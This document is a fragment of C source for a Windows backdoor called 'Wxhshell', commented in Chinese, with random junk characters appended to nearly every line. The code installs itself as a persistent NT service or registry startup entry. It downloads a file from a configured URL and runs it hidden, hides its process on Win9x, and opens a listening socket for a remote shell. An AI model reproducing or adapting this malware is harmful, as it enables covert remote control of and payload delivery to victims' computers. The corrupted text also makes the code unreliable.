PROCNTQSIP NtQueryInformationProcess; Il642#Gh
(/M c$V
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6 qq7:
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Em7q@
8?$2;uGL
HANDLE hProcess; v 3NaX.
PROCESS_BASIC_INFORMATION pbi; MoA{ /{
Zry>s0
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 7MfT~v
if(NULL == hInst ) return 0; tX_eN
(!b:
gG
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6IX!9I\sT
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 7-dwr?j7
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BAhC-;B#R
M Q6Y^,B
if (!NtQueryInformationProcess) return 0; ,y >Na{@Y
i~;8'>:|,M
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4|(?Wt)5
if(!hProcess) return 0; j.6kjQN
2*|]#W
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; UdGoPzN
/F_
:@#H
CloseHandle(hProcess); U,=K_oBAq
x6t;=
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |^F-.Z
if(hProcess==NULL) return 0; eZ!k'bS=
Vo%d;>!G\;
HMODULE hMod; VC.?]'OqD
char procName[255]; qEAF!iB]L
unsigned long cbNeeded; 5-OvPTY`M
|(%H O@i
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )>fi={!=c
e-VLU;
CloseHandle(hProcess); 7'|PHQ? S
j#&
if(strstr(procName,"services")) return 1; // 以服务启动 >=V+X"\Z
ZwMw g t
return 0; // 注册表启动 <-F"&LI{<
} pV7Gh`<y
wGvgMZ ]?'
// 主模块 ZYA(Bg^
int StartWxhshell(LPSTR lpCmdLine) +RkYW*|$S
{ H[D/Sz5`
SOCKET wsl; ]c)SVn$6
BOOL val=TRUE; x}{VHp`|ld
int port=0; h,x]
struct sockaddr_in door; fDd!Mt
<IVz mzpL
if(wscfg.ws_autoins) Install(); z7q2+;L
(5> ibe
port=atoi(lpCmdLine); sYXS#;|M
>-P0wowL
if(port<=0) port=wscfg.ws_port; GHy#D]Z
'T[zh#v>S
WSADATA data; kgz{m;R
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sD8S2
]lUu%<-;
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; :j~5(K"
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 7m M;Q
door.sin_family = AF_INET; O[!o1.
door.sin_addr.s_addr = inet_addr("127.0.0.1"); %U
GlAyj
door.sin_port = htons(port); >v[(w1?rX
9HX+sB
M
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { {n]sRz
closesocket(wsl); H#inr^Xa
return 1; E: GJ$I
} S F>D:$a
.jp]S4~
if(listen(wsl,2) == INVALID_SOCKET) { \#aVu^`eX
closesocket(wsl); ?^~"x.<nr
return 1; yUO|3ONT
} NJ>p8P`_k
Wxhshell(wsl); oui!fTy
WSACleanup(); L2'd sOn
:2E1aVo4b
return 0; >|)0Amt
Ug21d42Z4
} &._!)al
hli10p$
// 以NT服务方式启动
#-T.@a1X
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hZ<btN.y5
{ cA?
x(
DWORD status = 0; |L;psK
DWORD specificError = 0xfffffff; xV#a(>-4
K;[%S
serviceStatus.dwServiceType = SERVICE_WIN32; AxlFU~E4
serviceStatus.dwCurrentState = SERVICE_START_PENDING; GYC&P]
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #OWs3$9
serviceStatus.dwWin32ExitCode = 0; A[kH_{to;
serviceStatus.dwServiceSpecificExitCode = 0; 1>w^ q`P
serviceStatus.dwCheckPoint = 0; 8%<`$`FyU
serviceStatus.dwWaitHint = 0; %i8>w:@NW
V=&,^qZ
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); abeSkWUL(
if (hServiceStatusHandle==0) return; DYlvxF`
T-C#xmY(
status = GetLastError(); -l H>8+
if (status!=NO_ERROR) | ",[C3Jg
{ OZD!#YI
serviceStatus.dwCurrentState = SERVICE_STOPPED; R9h>I3F=c
serviceStatus.dwCheckPoint = 0; {~fCqP.2
serviceStatus.dwWaitHint = 0; 4q13xX
serviceStatus.dwWin32ExitCode = status; c1kxKxE
serviceStatus.dwServiceSpecificExitCode = specificError; ]<gCq/V #
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5xDN&su
return; ]TgP!M&q
} O}_a3>1DY
_AYC|R|
serviceStatus.dwCurrentState = SERVICE_RUNNING; EWIc|b:
serviceStatus.dwCheckPoint = 0; 3]<re{)J9O
serviceStatus.dwWaitHint = 0; *frJ^ Ws{
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); S9R]Zl7{-
} k0_$M{@Y
=5~F6to
// 处理NT服务事件,比如:启动、停止 <m,yFk
VOID WINAPI NTServiceHandler(DWORD fdwControl) K;p<f{PE
{ BD7@Mj*|
switch(fdwControl) mO)PJd2ZD
{ t*d >eK`:N
case SERVICE_CONTROL_STOP: K\+}q{
serviceStatus.dwWin32ExitCode = 0; H:-A; f!Z
serviceStatus.dwCurrentState = SERVICE_STOPPED; x$GsDV
serviceStatus.dwCheckPoint = 0; xDJ+BQ<1A
serviceStatus.dwWaitHint = 0; l(#ke
{ tIb21c q
SetServiceStatus(hServiceStatusHandle, &serviceStatus); {R-82% X
} vX0"S
return; yv)nW::D(
case SERVICE_CONTROL_PAUSE: ^mueFw}\
serviceStatus.dwCurrentState = SERVICE_PAUSED;
Hp}
break; PKR $I
case SERVICE_CONTROL_CONTINUE: }l(m5
serviceStatus.dwCurrentState = SERVICE_RUNNING; i9eyrl+!
break; u'i%~(:$\)
case SERVICE_CONTROL_INTERROGATE: LkGf|yd_
break; s!ZW'`4!z
}; z8/xGQn
SetServiceStatus(hServiceStatusHandle, &serviceStatus); pp]_/46nN
} +K%pxuVh
OR\DTLIl
// 标准应用程序主函数 pEVgJ/>
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) #[a"%byTR
{ ) wY!/&
-~\.n
// 获取操作系统版本 6f?BltFaN
OsIsNt=GetOsVer(); 7q!yCU
GetModuleFileName(NULL,ExeFile,MAX_PATH); tB7K&ssi
Mf:M3H%YV+
// 从命令行安装 BKQIo)g.G
if(strpbrk(lpCmdLine,"iI")) Install(); /Y[o=Uyl
<s/<b*T
^
// 下载执行文件 TcD[Teu
if(wscfg.ws_downexe) { FU\/JF.j
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) LR3`=Z9
WinExec(wscfg.ws_filenam,SW_HIDE); ~#"7,r Qp
} )ojx_3j8
Nxb\[
if(!OsIsNt) { h zZ-$IX X
// 如果时win9x,隐藏进程并且设置为注册表启动 cc41b*ci$
HideProc(); R6q4 ["
StartWxhshell(lpCmdLine); z0 2}&^Zzk
} 8jggc#.
else 5,
-pBep<
if(StartFromService()) wI!
+L&Q
// 以服务方式启动 kxm:g)`=[
StartServiceCtrlDispatcher(DispatchTable); 1GG>.RCP
else cXS;z.M\_
// 普通方式启动 O[IR|
StartWxhshell(lpCmdLine); uZ\wwYY#M
A{z>D`d
return 0; sK@Y!oF}\
}